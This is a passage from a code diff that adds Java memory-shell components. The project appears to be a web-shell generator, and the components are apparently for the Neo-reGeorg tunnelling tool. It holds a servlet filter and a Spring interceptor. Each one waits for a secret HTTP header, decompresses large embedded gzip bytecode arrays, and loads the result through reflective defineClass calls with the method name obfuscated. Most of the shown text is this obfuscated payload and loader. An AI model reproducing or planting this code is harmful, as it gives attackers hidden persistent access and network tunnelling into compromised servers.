2, 63, 86, -32, 5, 120, 81, -127, -25, -32, 121, 5, 94, -126, -105, -87, 63, 25, 85, 100, 20, -4, 7, 126, -94, -32, 63, -15, 95, 10, -2, 27, -1, 99, 103, 42, 3, -95, 45, -63, -23, 45, -17, 70, 120, 93, 34, 73, 25, -19, 25, 120, 86, -127, 79, -15, 83, 9, -121, 21, 7, -112, -78, 14, -60, -101, 21, -121, -61, -31, -76, 19, -96, -15, -114, 58, -87, 42, 37, -6, 21, -121, -32, 16, 21, -121, -117, -93, -84, -26, 127, -49, -43, 118, -22, 53, 40, 44, -115, -92, -42, 81, -101, 68, -63, -47, -95, 39, -110, -6, -103, 52, -112, 64, -45, 70, -91, -120, 68, 42, 29, -89, 71, -68, -118, -85, 88, -108, 3, 117, 20, 2, 115, -56, 79, 6, 84, 55, -118, -56, -111, 39, 67, 46, 5, 82, -35, -96, -126, -71, 42, 18, 27, -44, -115, -42, -85, -107, 31, -54, -122, 72, 52, 22, 89, 27, 35, -120, 64, -74, -90, -108, -25, -118, 12, 12, -24, 113, 90, 52, 28, 83, -125, 100, 101, -24, 38, -85, 42, 83, 59, 39, -89, 19, 118, 45, -103, 88, 87, -76, -93, 114, -89, 6, -41, -90, 44, -108, 73, 92, -31, -117, 33, -71, 98, 86, 21, 81, -21, -118, 35, 72, 27, 88, -109, -27, -67, 6, -115, 124, 12, -69, 53, 34, -111, 54, 114, 125, 58, 74, -81, 70, -94, -118, -67, -79, -63, 20, -79, 16, -69, 99, -119, 20, -31, -71, -69, 19, -3, 3, -111, -92, -66, 34, 113, -108, 59, 100, -78, -46, 4, -103, 103, 36, -127, 83, -66, -80, -107, -76, -54, -60, -56, 25, 73, -32, -91, -116, -45, 73, -115, -83, -98, -54, -43, -108, 18, 2, 45, 78, -104, -39, -117, -84, 94, 119, 46, 75, -30, -119, -90, 90, -29, -87, 116, 36, -34, 77, 98, 76, -32, -108, 56, 38, 14, 106, -21, 70, 117, 47, -93, 81, 12, -107, -90, 20, -30, 80, 73, 49, -46, -15, 38, 98, 85, 98, -108, 99, -101, -55, -15, 71, 117, 111, -79, -37, -92, -118, -64, 29, 7, 66, -105, -43, 15, -115, 96, 45, -45, 55, 91, -79, -40, 52, -6, 40, 63, 80, -101, 70, -11, 54, 97, 94, -24, -26, -77, 50, 68, -25, 14, -62, 76, -119, 75, 34, -35, -23, 68, -110, 122, -72, -102, -70, 34, 34, 21, -32, 52, -103, -26, 26, 13, 46, 98, -82, 49, 55, -103, 103, 94, -95, 108, 78, -60, 98, -90, -33, 40, 101, 9, -79, 104, 42, 61, 98, -92, -47, -107, -44, 126, 8, 6, -36, -56, 87, 109, -124, -49, 65, -103, -44, -87, -49, -29, 88, -102, -112, 127, -43, 56, 101, 126, -91, -123, 48, 126, -110, 105, -90, -103, 72, 114, 24, -25, 83, 109, -75, -32, 68, -44, 55, 22, 74, -100, -42, 69, 82, 29, -122, 95, -23, 41, 83, -13, 42, -60, -115, 77, -31, -109, -53, 53, -43, -66, -111, 56, 60, 59, 73, 17, -100, 76, 111, -26, -122, -13, 40, 29, -14, -104, -121, 50, -98, 92, -109, 95, 111, 41, -50, 108, 62, -108, -76, -13, 79, -72, 59, 37, 100, -85, 41, 23, -22, -116, -98, 124, 98, 49, 76, 82, -127, 50, 6, -67, 126, -117, -66, 89, -80, -105, 68, -11, 88, 15, -35, 44, 43, 48, -122, -7, -19, 57, -82, 0, 64, 41, -126, 62, -28, -62, -36, -78, 21, 34, 19, -88, 16, -39, -64, -15, -102, -97, -105, -83, 125, 113, -54, -67, -51, 17, 118, 81, 105, 33, 87, 83, -116, 78, 61, 53, 64, 33, -96, -101, 31, -91, -109, -13, -44, -52, 43, 73, 77, -26, -27, -106, 100, 50, -111, -76, -75, -55, -17, -91, 55, 83, -101, -33, -49, -23, -107, 67, -93, 59, 49, -80, -103, 63, -24, -58, -6, -91, -75, 8, -56, -80, -121, 64, -90, -89, -5, 50, 37, -93, -108, 110, 124, -13, 8, -100, 118, 56, -86, -19, 100, 115, -44, 70, -126, 115, 103, -54, 0, 112, 16, -26, -27, 38, 19, -85, -87, -8, -9, -79, -23, -122, 81, -72, -28, -94, 110, 51, -101, 81, -119, -82, 27, 77, -55, -86, -29, -26, -43, 50, 66, -20, -115, -10, -47, -117, 94, 68, 31, -56, -21, -115, -36, 94, 71, -71, -83, -104, -76, 58, -65, 51, 46, 58, 35, 18, 59, -115, 100, 120, -22, 127, -1, -76, -4, 111, 95, -115, -50, 62, 22, 119, 86, 17, 2, 69, -47, 93, 73, -67, 63, -79, 65, -73, -65, 21, -30, 86, -21, 97, 55, -121, 114, 36, -58, -97, -7, 92, 59, -90, -28, -118, 75, 33, 82, 19, 31, 21, 61, -32, 42, 33, 26, -98, -49, 89, -108, 17, 44, -46, 84, 107, -12, 72, 50, -33, 53, -71, 67, 34, 89, -110, 78, -28, 90, 32, 106, -72, 70, 126, -23, 24, -61, 92, -24, -115, 69, -23, 13, 40, -108, 6, 58, -11, -2, 8, 37, 103, 54, 121, 69, 93, 115, -79, 26, 109, -35, 9, 28, 99, 73, -73, 89, -44, 25, -82, 21, 83, 3, 49, -50, -4, -59, -46, 69, -63, 47, 25, -71, -46, 76, 90, -84, -92, 46, 34, 105, 62, 51, -87, -49, 44, 103, -108, 7, 104, 53, -70, 117, 76, -79, -102, -7, -49, 55, 63, -51, -110, 1, 73, -65, 118, 122, -79, 45, 49, -67, -97, 62, 42, 8, -69, -124, 19, -99, -75, 53, -117, 70, 94, -77, -55, -28, 74, 45, 126, -71, -2, -45, -54, 51, -83, 102, 106, 50, 26, -59, 60, -5, -113, 116, -113, 92, -81, -93, -87, -123, -87, 20, -1, -60, 69, -31, -71, 36, -103, -24, -25, -116, 58, 6, -49, -56, -73, 43, 86, -97, -35, 66, 113, 95, -124, -56, 25, 69, 12, 53, -10, -9, -112, 124, -10, 73, -67, -105, -33, 68, -93, -39, 35, 52, 89, 101, -68, -40, 25, -1, -40, -109, -30, -97, 14, 72, 74, -93, 109, 27, -105, 50, 127, 74, -80, -9, 46, -13, -25, 26, -124, -45, -118, -68, -123, 99, -3, 13, 70, 98, 27, -101, 121, -89, -50, 48, -100, -101, 1, 70, 82, -121, -23, 112, 23, -108, -128, 3, 118, -61, -35, -32, -92, -7, 30, -72, 23, -128, -26, 61, 112, 31, -51, 110, -2, 32, 2, -124, 7, 12, -40, -125, -32, -93, 117, 22, -10, -47, 56, 68, -112, 50, -102, -111, 102, -47, 79, 16, 70, -25, 95, 14, -24, 11, -64, 60, 118, -67, 5, 46, 56, -114, -26, -117, -21, 15, -125, -125, -2, -75, 7, -100, 115, 58, 2, -62, -100, -112, -32, 15, -120, 115, 14, -125, -109, -2, 61, 8, -76, 113, -47, 70, -92, 127, 15, -126, 43, 32, -47, 90, -54, -126, 28, 20, 3, -78, -67, 116, 5, -68, 46, 123, 45, 5, -68, -116, -30, 14, -55, 1, 111, 14, -63, 29, -16, -70, -19, -75, 39, -32, -11, -40, -21, -110, -128, -73, -60, 94, 43, 66, 112, -100, 24, 44, 117, 5, -57, 75, 65, -81, 28, 44, -13, -70, -126, 62, -81, 20, -100, 64, -21, -119, 94, 119, 80, -43, 4, -97, -57, 121, 16, 74, -122, 64, 57, 12, -29, 66, -109, -68, 117, -76, 9, 77, 54, -89, 41, -66, -46, -112, 70, 127, -27, 13, -66, -15, 57, 36, -55, -92, -20, -72, 21, -18, -94, -93, -118, 6, -97, 55, 119, 84, 22, -102, -86, 77, -51, -126, 47, 88, -87, 86, 58, 118, -128, 43, 3, -89, -88, -107, 15, -53, -95, 105, -38, 84, 109, 90, 22, 38, -104, -80, -38, 3, 48, 113, -11, 62, 80, -75, -118, 44, 76, 58, 0, -18, -43, -38, -76, 125, 48, -103, -42, 89, -104, 18, -86, -56, 12, 63, -94, 122, -124, 29, 16, -46, 42, -100, 106, 73, 22, -76, -112, -90, 85, 48, 106, -71, -86, -12, 24, 51, -61, -54, -75, 10, 62, -84, 8, -47, -111, -45, 62, -27, -125, 10, 63, -17, -90, -122, 42, -75, 74, -43, 61, 4, -107, 67, 48, 45, 52, 57, 99, 32, 78, -30, -109, -22, 44, 76, -41, -120, 83, 13, 15, -75, -50, -35, -38, 100, 117, -94, 97, 88, 34, 116, -60, 113, 5, 109, 85, 99, 75, -118, -8, 102, 100, 97, -26, 54, 80, 12, -118, -77, -74, 59, -94, -116, -117, 97, 70, -95, 81, -16, 29, 103, -23, -35, -43, -32, -85, -53, -103, -64, 29, -86, 60, 0, -77, 87, 107, 21, -5, -64, 79, 122, -109, -42, 20, 6, -127, 80, -107, 86, -91, 85, 102, -95, 65, -85, 18, -78, 112, -68, -81, 81, -85, -54, -62, 9, -37, -128, -26, -61, -48, -24, -49, -62, -119, -66, 57, 67, 48, 55, 84, -83, 85, -93, 112, 16, 78, 90, -19, -12, -121, 49, 11, 39, 27, -57, 26, -55, 28, -52, -62, 41, 13, -66, 83, 115, 108, 78, 99, -44, 33, 8, -123, -90, 107, -45, -121, -96, 73, -101, -66, 31, -26, 33, -124, 106, -76, -102, -3, 48, 31, 97, 27, -52, -31, -43, 2, 4, -106, -88, -74, -63, 119, 58, 81, 45, 89, -19, -44, 106, -61, -106, -108, 51, 72, -96, -38, 33, 56, 67, 35, 37, 23, 102, -122, -97, 41, -18, -31, 21, 44, -25, -94, 80, 77, 6, -92, 16, 25, -53, 118, -100, 70, -50, -14, -109, 29, 76, 3, 55, 103, 97, 49, 1, -76, 114, -53, -123, -75, 90, 109, 22, 90, -120, 67, -115, 54, -61, -87, -51, 56, -108, -123, 37, 90, 77, 22, -50, -28, 97, 41, 19, 108, -35, 15, 103, -15, -117, 89, 86, 32, -15, 89, -7, 18, 107, -75, 71, 32, -88, -43, -6, -38, -78, -48, -66, 29, 2, -76, -22, 48, 86, 53, 44, 118, 22, -106, 19, 117, -63, 119, -74, 104, 43, -75, 90, -48, 102, -80, 102, 93, -103, -31, -67, -52, -31, 51, 101, 120, -35, 78, 24, -57, -53, 78, -106, 126, 38, -81, -62, -52, -20, 41, -48, -24, -26, 10, -45, 28, -86, 72, 10, 24, -9, -100, -69, -53, 4, -96, 72, -99, 113, 0, 86, -110, -118, -85, 66, 51, 89, 122, 10, -39, -43, -63, 90, -78, -61, 52, -75, -106, 14, 103, -79, 62, -77, -100, 42, -39, -83, 75, -101, -87, -51, -54, -62, 57, -103, -31, -41, -75, -103, 89, 88, 77, 103, -126, -17, 92, 83, 30, 95, 27, -53, 67, -89, -27, 67, 112, -98, 65, 125, -124, -93, 33, -100, -51, -108, 34, -110, -80, 62, 59, 58, 34, 5, -33, -7, 118, 100, 21, 19, -107, -20, 94, 106, -121, -24, 17, -4, -104, -74, -29, -115, 109, 37, 69, -20, -25, 40, 98, -73, 3, 7, -86, -49, -128, 77, -93, -43, 4, 94, 13, -63, 5, -63, -86, 33, 88, -61, 97, -109, -123, -56, 1, 88, 75, -81, 78, -83, -38, 7, -35, 101, 37, 67, 89, -24, -47, -86, -99, 89, -48, -69, -10, 66, -81, 86, -87, 85, -17, -121, 62, 39, -87, 56, 69, -11, -6, -42, -123, 51, -104, 34, 58, -68, -114, -122, 105, 42, -29, -104, -82, 38, -24, -7, -60, -17, 66, -125, 95, -125, 113, 109, 63, -84, 119, -112, -13, 98, 102, -44, 71, -78, -48, -97, 1, 49, 84, 101, -99, -59, 29, -48, -107, -63, -39, 116, 39, 97, -36, -71, 107, -52, -99, 35, -80, 81, 117, 13, -63, 0, -67, -107, 105, 108, -90, -117, -126, -43, -86, 20, -100, -18, 12, -42, -40, 62, -87, 85, -85, 111, -127, 78, -75, -102, -3, -60, 24, 73, -118, 46, -89, 90, -51, -34, -88, 101, 103, -99, -61, -64, 84, -105, 90, -93, 86, -81, 9, -46, -96, -70, 110, 3, 15, -19, -90, -33, 6, 94, -110, 124, 28, 71, 78, 58, -100, -127, -15, 57, 6, -103, -31, 123, 109, 45, 97, 18, 49, -50, -45, -78, -54, -48, 18, 54, -110, -60, -125, -122, -60, -3, -93, 37, -98, -84, -114, -77, 50, 56, 63, -17, 67, 44, 58, 89, -105, 47, 110, -24, 98, 43, 111, 52, -58, 77, -37, -96, -108, -8, -47, 106, 51, 69, -25, 7, 57, 118, -45, -118, -80, -77, 13, -89, -47, -21, -102, 82, -16, -70, -14, 34, 36, 3, 85, -102, -111, 54, -3, -102, 76, -103, -50, 72, -99, 5, -57, 66, -69, 115, 55, 21, -73, 103, -15, 42, -68, 22, -86, 28, 79, 56, -98, 117, -68, 0, 85, -62, 22, -31, 41, -31, 25, -102, 63, 17, 81, 20, -96, 74, 108, 16, -17, 22, -9, -48, -4, -90, 107, -86, -85, 10, -86, -88, -120, -19, 114, 109, -122, 42, -68, -61, -15, 50, -49, -114, 87, -100, 119, -13, -20, -68, 71, 8, -14, 44, -100, -30, -38, -64, -77, 81, -19, 14, -64, -61, 102, -75, -61, 73, 32, -126, 76, -77, -25, 0, 108, 33, 39, 125, -66, -67, -2, -48, 2, 103, 80, 80, -123, -54, -99, -16, 81, -67, 42, 92, 38, -32, -36, 50, 24, -34, 26, 20, 9, -76, 3, -22, 3, -2, 7, 64, 80, 69, -15, -30, -109, -78, 112, 113, -105, -75, 115, 109, -107, 54, -103, 123, -33, 23, -78, -80, -75, 43, 3, -5, -13, -81, -70, -116, -85, 45, 71, -67, -86, -70, -54, -32, -125, -83, -46, -59, -105, -28, 29, -72, -68, -29, -73, -118, 54, -47, 47, -102, 68, 123, -14, -119, 74, -1, 15, 114, -86, 84, 6, -121, -73, 122, 93, 5, 71, -110, -9, -12, -83, -58, 54, 51, -84, 4, -78, 112, -55, 30, -85, 35, 56, 8, -121, 44, 27, -7, 64, 0, 15, -51, -82, 122, -54, -117, -19, -127, 67, 11, 56, -96, 43, -9, -63, -91, 33, -63, 73, 118, 17, -55, 84, -17, 16, 41, 87, 64, 21, 47, 19, 113, -18, 92, 82, -104, 97, 110, -43, -27, -72, 117, -8, 93, 26, -115, -78, -7, 100, 1, -118, 100, -95, 72, 6, -118, 100, -94, -20, -44, 72, 82, 22, -45, 123, 2, -53, -97, -123, 47, 89, -8, 65, 89, -107, -67, -13, 119, -128, 91, -93, -14, -109, -34, -61, -108, 84, -103, -95, 38, 17, 74, -11, -61, -81, -47, 104, 16, 57, 95, 99, -99, -58, -77, 33, 100, -17, -68, -83, 98, 1, 29, -73, -22, 30, 77, -57, -51, 80, -109, -114, -37, -96, -29, 54, -23, 80, 107, -95, -54, 46, -78, -42, 38, -43, -51, 36, 50, -61, 83, -52, 91, -122, 125, 100, -2, 97, -98, -102, 43, 110, -88, 82, 100, 31, 23, -51, 125, -66, -46, 54, -65, -17, -53, 89, -72, -116, -115, 100, 71, -47, -46, -128, 74, -51, -109, 104, -43, -98, 122, -82, 52, -94, -109, 8, 81, 17, -70, -36, -40, -48, -70, -62, 44, 61, 109, 121, 72, 76, -57, -128, -111, -57, 51, -61, 67, -11, 78, 2, -106, 11, -36, 35, -104, 2, 60, 74, 127, 2, 57, -120, 3, -6, 49, 120, -36, 18, 101, 61, 117, -125, 18, -51, 23, 112, 17, -81, -89, 26, -98, -123, 43, -38, -121, -32, -54, -114, -122, -3, -16, 21, -82, 82, 103, -46, -30, -85, 92, -92, -82, 10, 9, -84, -50, -43, 33, 81, 19, -83, -77, 58, 94, 25, -121, -41, -124, 92, -102, -21, 81, -72, 118, 27, -108, 105, -82, 44, 124, -115, -30, -30, -21, -37, 64, 20, 118, 103, -122, 95, -51, 12, 103, -23, 125, 22, -118, -32, -26, -1, -13, -79, -38, -53, 107, -23, 69, 81, -76, -64, -91, 70, 15, -42, -18, 92, -32, 63, 20, 20, 36, -54, 121, -82, 3, 112, -35, 106, -22, 57, -81, 15, 73, -107, -86, -80, 19, 34, 26, 85, -23, 111, 4, 69, 77, -46, 92, 78, -51, 69, 117, -10, -122, 46, -115, 50, -24, 55, 73, 83, -71, -121, 93, 78, -105, -36, 116, -22, 118, 106, 110, -29, -76, -110, 96, 107, -42, 44, 80, 69, 97, 23, 53, 76, -94, -41, 125, 59, 76, 32, -49, 26, 61, -104, -101, 18, 9, -91, 37, 55, -19, 53, 119, 56, 51, 124, 107, -64, -76, -109, -101, -1, -53, -60, 18, -19, 106, 18, -105, -83, -77, -47, -17, -108, -67, 19, -121, -32, 91, 97, -65, -9, 56, 107, 101, 37, 105, -110, -73, -46, 127, 104, 39, 116, -6, 43, -25, 28, -127, 37, 52, -78, -99, 30, 5, -9, 54, -54, -63, 2, 85, 34, 110, 13, -60, 12, -43, 102, -63, -54, -99, 98, -96, -110, 3, 76, 19, 15, -79, -36, 107, -122, -32, -37, -108, -55, 105, -53, -43, -107, -114, 93, -105, 57, -55, 127, -9, 4, -116, -56, 65, -24, -124, 62, -72, -48, 112, -102, -101, -1, 27, -49, 114, 91, -52, -118, -96, 53, -127, 67, 7, -31, -58, 14, 35, 116, 2, 36, -59, 50, -114, -99, 44, 124, 39, 36, -6, 36, -90, -72, 109, 27, -108, -20, -123, -19, 44, -64, 12, -33, 77, 35, -112, -17, 50, -60, -25, -69, -39, -126, -56, 123, -31, -106, -112, -40, -96, 10, -102, 24, 54, -62, -25, 1, 127, 125, 67, 96, 8, 110, 29, 29, 58, 110, -2, -31, -35, -110, -31, 68, 10, 29, -106, 97, -90, -97, 25, -110, -46, -11, 36, -13, 14, 14, -113, 44, -36, -74, -99, -98, 12, 7, -22, 78, 77, -12, 55, 100, -31, -10, -79, -124, -98, -125, -25, 45, 43, 31, 79, -124, 68, -102, -87, -18, -19, 34, -109, -34, -47, 30, -88, 40, -17, 17, -42, 100, -31, 123, -27, 107, 22, 112, 59, 45, 4, 56, -14, 50, -102, 96, 123, -24, 5, 120, -47, -70, 123, -118, -15, 53, 3, 80, -17, 119, 25, 105, -50, 47, 26, -109, 87, -34, 116, -119, 95, 48, -105, 94, 90, 58, -51, -27, -108, 77, -105, -52, -85, -40, 109, 17, 121, 9, 94, -74, -120, -100, 78, 66, 49, -111, -71, 20, 117, 109, -11, -82, 114, -58, -67, 126, 69, -67, 88, -18, -107, -73, 88, 107, -95, -36, -21, -75, -41, -50, 114, -17, 20, 123, 109, 39, -65, 87, -32, 71, 22, -79, 82, -102, -99, 52, 59, -124, -35, -42, -39, -85, -16, 99, -53, 100, -29, -24, -113, -49, -84, -81, 40, -37, 28, 63, -95, -65, -97, 30, 11, -46, 107, -16, -77, -47, -33, 100, -44, 57, 125, -33, -50, 48, -81, -25, 62, -39, 38, 27, -6, 0, -108, 28, -128, 59, -55, -92, 63, -72, 31, 122, 77, 106, -16, 63, -22, -91, 95, 93, 55, 37, 0, 0}); + Class clazz = loader(clazzBytes); + namespace.put(charslist, clazz.newInstance()); + } + namespace.get(charslist).equals(args); + } else { + filterChain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + filterChain.doFilter(servletRequest, servletResponse); + } + + } + + @Override + public void destroy() { + + } + + + public static byte[] unGzip(byte[] bytes) throws Exception { + java.io.ByteArrayOutputStream out = new java.io.ByteArrayOutputStream(); + java.io.ByteArrayInputStream in = new java.io.ByteArrayInputStream(bytes); + java.util.zip.GZIPInputStream ungzip = new java.util.zip.GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) + out.write(buffer, 0, n); + return out.toByteArray(); + } + + public static Class loader(byte[] bytes) throws Exception { + java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader()); + java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(new String(new byte[]{100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115}), new Class[]{byte[].class, int.class, int.class}); + method.setAccessible(true); + Class clazz = (Class) method.invoke(classLoader, new Object[]{bytes, new Integer(0), new Integer(bytes.length)}); + return clazz; + } +} diff --git a/jmg-neoregeorg/src/main/java/jmg/neoregeorg/memshell/NeoreGeorgInterceptor.java b/jmg-neoregeorg/src/main/java/jmg/neoregeorg/memshell/NeoreGeorgInterceptor.java new file mode 100644 index 0000000..8218372 --- /dev/null +++ b/jmg-neoregeorg/src/main/java/jmg/neoregeorg/memshell/NeoreGeorgInterceptor.java @@ -0,0 +1,84 @@ +package jmg.neoregeorg.memshell; + +import org.springframework.web.servlet.AsyncHandlerInterceptor; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.HashMap; +import java.util.Map; +import java.util.zip.GZIPInputStream; + +/** + * python3 + * key: key + * 由 header 来保证变化 + */ + +public class NeoreGeorgInterceptor implements AsyncHandlerInterceptor { + + public String headerName; + + public String headerValue; + public static java.util.Map namespace = new java.util.HashMap(); + String charslist = "yewVGo+BCvNsZrDIiKXMhkq5tFHuA9J/n2jclLdP873bOaYz1QfpTSExW64R0gUm"; + String neoreg_hello = "IwGasXee9x7OudkKMG6QZT0xKxebZGasKG7skTrzHlk2qkvPhS75XP2tKx2VAqLkMk2khcktuMlEJ52e9G7Hq+WxtfgrZE6KCwTaIn==";//7 + byte[] BASE64_ARRAYLIST = new byte[]{-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 6, -1, -1, -1, 31, 60, 48, 33, 42, 58, 23, 57, 41, 40, 29, -1, -1, -1, -1, -1, -1, -1, 28, 7, 8, 14, 54, 25, 4, 26, 15, 30, 17, 37, 19, 10, 44, 39, 49, 59, 53, 52, 62, 3, 56, 18, 46, 12, -1, -1, -1, -1, -1, -1, 45, 43, 35, 38, 1, 50, 61, 20, 16, 34, 21, 36, 63, 32, 5, 51, 22, 13, 11, 24, 27, 9, 2, 55, 0, 47, -1, -1, -1, -1, -1};//3 + + public NeoreGeorgInterceptor() { + } + + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + Object[] args = new Object[]{ + request, //0 + response, //1 + charslist.toCharArray(), //2 + BASE64_ARRAYLIST,//3 + new Integer(200),//4 + new Integer(513),//5 + new Integer(524288),//6 + neoreg_hello,// + new Integer(1447564139),//8 + new Integer(0),//9 + new Integer(0),//10 + new Integer(0),//11 + }; + if (namespace.get(charslist) == null) { + byte[] clazzBytes = unGzip(new byte[]{31, -117, 8, 0, -46, 68, -86, 100, 0, 3, -99, 57, 11, 124, 83, -11, -43, -25, 36, -9, -26, -34, -92, -105, -110, 6, 46, 112, 91, 74, 75, 11, 88, -46, -44, 42, 104, -44, 20, 80, 40, 69, 42, 109, 113, 13, 80, -47, 57, 9, -19, 109, -119, -92, 73, 77, 82, 94, 115, 76, 55, 31, -101, -113, 77, -25, 54, 7, 78, 69, -60, 101, 78, 84, 68, 13, 69, 4, -15, -123, -50, -73, -50, 109, 78, -73, -87, 123, -22, -26, -90, 115, 110, -50, 61, -20, 119, -50, 125, -92, 73, 27, -10, -15, 125, -65, 31, -3, 63, -50, -1, -4, -49, -5, 127, -50, -71, -31, -103, 79, 31, 58, 4, 0, 39, 58, 36, 15, -108, -64, 27, 18, -4, 92, -126, 123, -35, 112, 23, -4, 66, -126, -5, 120, -2, -91, 4, 111, 122, 64, -126, -73, 36, 120, 91, -122, 95, 73, -16, 107, 15, 65, 127, 35, -63, 111, 101, -8, -99, 12, -65, -105, -31, 29, 9, -34, -11, 64, 25, -4, -127, -121, 63, 74, -16, -98, 7, 38, -62, 27, 60, -4, -55, 3, 110, -8, 51, -81, -34, -25, -43, 7, 60, -4, -123, -121, 15, -103, -58, 95, -103, -20, 71, -68, -6, -101, 4, 127, -9, 64, 21, 99, -115, -125, -113, 121, -8, 7, 15, -97, -56, -16, 79, -58, -2, 23, -29, -4, 91, -122, -1, -56, -16, -87, 4, -61, 30, -104, -115, -64, 3, 74, -24, -16, 64, 0, -99, 60, 8, 18, -118, 30, -72, 17, 93, 30, 104, 68, 73, 70, -39, -125, 110, -12, 72, 88, -62, -77, -62, -61, 56, 62, 41, -107, 113, -68, -124, 94, 15, -106, -95, -113, -121, 9, 37, 56, 17, -43, 18, -100, -124, -109, 121, -104, 34, -93, 70, -36, -80, -100, 73, 86, -16, 48, -107, -73, -107, 60, 76, 35, 89, -80, -54, -125, -43, 56, -99, 6, 18, -111, -122, 79, 24, -91, -90, 4, 107, 113, 70, 9, -50, 68, 85, -58, 89, -116, 117, -100, -116, 117, 124, 50, 91, 70, 63, -49, -11, 60, 4, 120, 104, -112, -15, 120, 9, 27, 61, -80, -110, 76, -124, 39, -32, -119, -76, -62, 57, -68, 125, 95, -58, -71, 100, 17, 60, -119, 9, -100, 44, 99, 80, -58, 83, 120, 127, -86, 7, 98, 120, 26, 15, 33, 9, -101, 60, -80, 22, -25, 121, 112, 62, 46, 96, -56, -23, -28, 33, 60, -125, -39, 47, -108, 113, -111, -116, -51, 50, 46, -26, 93, -117, -124, 75, 8, 9, 62, -31, -51, -103, 50, 46, -11, 96, 43, -98, -59, 55, -106, -15, -86, -51, -125, -19, -40, -63, -100, -105, -53, 120, 54, 67, 62, -61, 67, 39, 15, 97, -58, 90, 33, -31, 74, 15, 108, 97, 47, 110, -63, 85, 50, 118, -15, 124, -114, -116, -85, 25, -8, 62, 95, 60, -105, -121, -13, 100, -4, 44, 75, 123, 62, 15, -97, 99, -105, 92, -32, -127, -85, 112, 77, 9, -100, -122, 17, 30, -42, 74, -40, -51, -112, 30, 9, 117, 9, 123, 61, 112, 13, -10, 49, -18, 58, 9, -93, 30, -72, -114, 99, -29, 58, -68, -112, -121, -11, 108, -31, 24, 15, -3, 60, -60, 37, 76, 80, 64, -30, 0, -69, -12, 34, 55, -103, 33, 41, 97, -54, 13, 55, -15, -100, 118, -61, -51, -104, 100, -76, 65, 62, -34, -32, -63, -115, -72, -119, -121, -51, 60, 108, -111, -16, -13, 30, -40, -59, -78, -17, -62, -117, 121, -8, -126, -124, 91, 37, -4, -94, 7, -18, -92, 0, -57, 75, 36, -68, 84, -62, 47, 33, 56, -12, 56, 13, -25, 53, -45, -48, -93, -13, 106, 17, -126, -100, -46, 83, -87, 104, 34, -98, 66, 24, -33, 118, 97, 100, 67, -92, 113, 48, 29, -115, 53, -74, 71, 6, -102, 16, -36, -31, 104, 95, 60, -110, 30, 76, 18, -10, -55, -123, -89, -13, -52, 109, 44, 18, -17, 107, 12, -89, -109, -47, 120, 95, 83, 30, 100, -7, -38, 11, -11, -18, 116, -45, 2, -94, -31, -102, 23, -115, 71, -45, 11, 16, -100, 117, -77, 87, 33, 8, -51, 9, -26, -19, -46, 47, 26, -116, -60, -120, -87, 90, 55, -10, -38, -20, 115, 17, -60, -75, -63, -109, 88, -36, 73, 117, -25, 45, -102, 61, -106, -105, -119, -64, -108, 38, -43, -115, 61, -99, -51, -102, -71, -41, -23, -111, 30, 61, -71, 94, -33, -116, 48, -85, 24, 82, 49, -86, -98, -106, 77, -35, -6, 64, -38, 52, -120, 20, 77, -59, 18, -35, -111, -40, 40, 41, -19, -5, 36, -91, 103, 109, 108, -61, 5, 61, 122, -73, -95, -109, -97, 68, -51, 67, 107, -115, -89, -11, 62, 61, 73, -62, -116, -43, -48, -70, -87, -57, 115, 55, -57, -30, 20, 37, 69, 122, 41, -47, -8, -122, -60, 122, -67, 93, 79, -81, 75, -12, 32, 44, 43, 98, -64, -79, -62, 22, -95, 63, -69, -104, 88, -29, -14, -119, -49, 65, 56, -1, -1, 76, -67, 57, 22, 73, -91, -114, -103, -97, 59, 25, -119, -9, 44, -38, -100, -42, -55, -36, -82, -70, -42, 86, 67, 67, -49, 90, 6, -84, 72, -112, -38, -28, 103, 14, -128, 86, 2, 70, -29, -23, 21, 9, 11, 85, -84, 51, 49, 93, 27, -12, 100, -76, -105, 28, -36, 88, -60, 65, 6, 100, 83, 99, 92, 79, 55, -90, 82, -79, -58, 112, -72, 45, 108, -58, -70, -31, 58, 95, -9, 58, -67, 123, 125, 115, 44, -86, 19, -35, -28, 96, 42, -83, -109, 49, 67, -74, 35, 82, 122, -9, 96, 50, -102, -34, -36, -40, -83, 39, -45, -115, -25, -100, 124, -62, 105, -51, -76, -120, -10, 70, -69, 35, 105, -67, -120, 5, 102, -81, -110, -16, -53, 54, -47, -80, -98, 36, -71, 114, 68, 125, 125, 122, 122, 97, 55, -121, -107, -34, -45, -102, 74, 13, -22, 73, -46, -32, -72, -70, -39, -57, -60, -118, 94, -24, -68, -18, -104, -15, -124, 20, -56, -62, 62, -124, 9, 69, 108, -85, -64, 61, 112, -81, 2, 123, -32, 62, -124, -78, 49, 113, -93, -32, 101, 120, 57, -126, 119, -76, -44, 100, 126, 18, -83, -117, -104, -21, -55, -126, 99, -109, -86, 2, 79, -61, 15, 17, 74, 13, 120, 52, -47, 104, 35, 2, -31, -46, -67, -26, 4, 81, -113, -89, -37, -12, 120, 95, 122, 29, -95, 17, -88, 53, 62, 48, -104, 38, -38, 122, -92, -97, -28, -76, -17, -27, 65, 21, -68, 2, 47, 87, -16, 74, 120, 17, 97, -14, 104, 113, 22, 13, 70, 99, 61, 44, -19, 87, -16, -85, -92, 43, 94, -91, -32, -43, 120, -115, -126, -41, -30, -41, 20, -4, 58, -33, -69, 22, -81, 83, -32, 32, 28, 82, -16, 122, -4, -122, 2, 79, -64, -109, 54, 27, -125, 76, -18, -19, 42, 120, 3, 126, 83, -63, 111, -63, 62, 5, -65, -51, 54, 19, 86, 116, -82, 108, 81, -16, 70, -4, -114, 2, -113, -63, -29, 20, 64, 73, 61, -91, -89, 77, 3, -40, 47, 73, 